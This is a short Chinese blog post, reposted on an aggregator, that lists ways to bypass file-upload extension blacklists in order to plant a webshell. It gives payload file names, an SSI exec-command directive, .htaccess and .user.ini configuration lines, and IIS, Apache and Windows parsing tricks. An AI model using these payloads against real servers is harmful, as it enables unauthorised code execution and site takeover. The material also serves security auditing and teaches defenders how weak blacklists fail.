您的位置:首页 > 其它

文件上传之黑名单验证绕过

2015-09-15 13:47 411 查看
当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名asp php jsp这种的不允许上传,下面是我总结的一些绕过的方法

Shtml

<!--#includefile="/home/www/user8534/nav_foot.htm"--> //可以用来读文件<!--#exec cmd="ifconfig"--> //可以用来执行命令

iis解析

sanr.php;.gifsanr.asp;.jpgsanr.asp/sanr.jpg

.user.ini

User.ini
auto_prepend_file:指定在每个PHP页面执行前所要执行的代码auto_prepend_file=demo.gif (每个页面都会加载demo.gif)

.htaccess

AddTypeapplication/x-httpd-php .jpg

Window特性

利用空格 demo.php空格

小数点去绕过 demo.php.

Ads数据流 demo.php::$DATA

Ads数据流(但文件是空) demo.php:jpg

Window通配符 demo.<<< 两者相结合拿到webshellTips:直接用3就可以 只不过延伸下window通配符的方法 Window通配符可以在包含文件的时候包含c:window/temp目录临时php文件(文件包含本地测试成功 但是实际渗透很少成功 因为session文件也是php开头 如同时匹配多个文件以php开头的这种,会拿到第一个php文件,不确保是自己上传的临时文件)

大小写绕过

aSp pHp JsP

扩展名绕过

Asp:asa cer cdx Aspx: ashx asmx ascxPhp: php3 phtmlJsp: jspx jspf

Apache的解析

sanr.php.xxxxxx

本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1694928
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: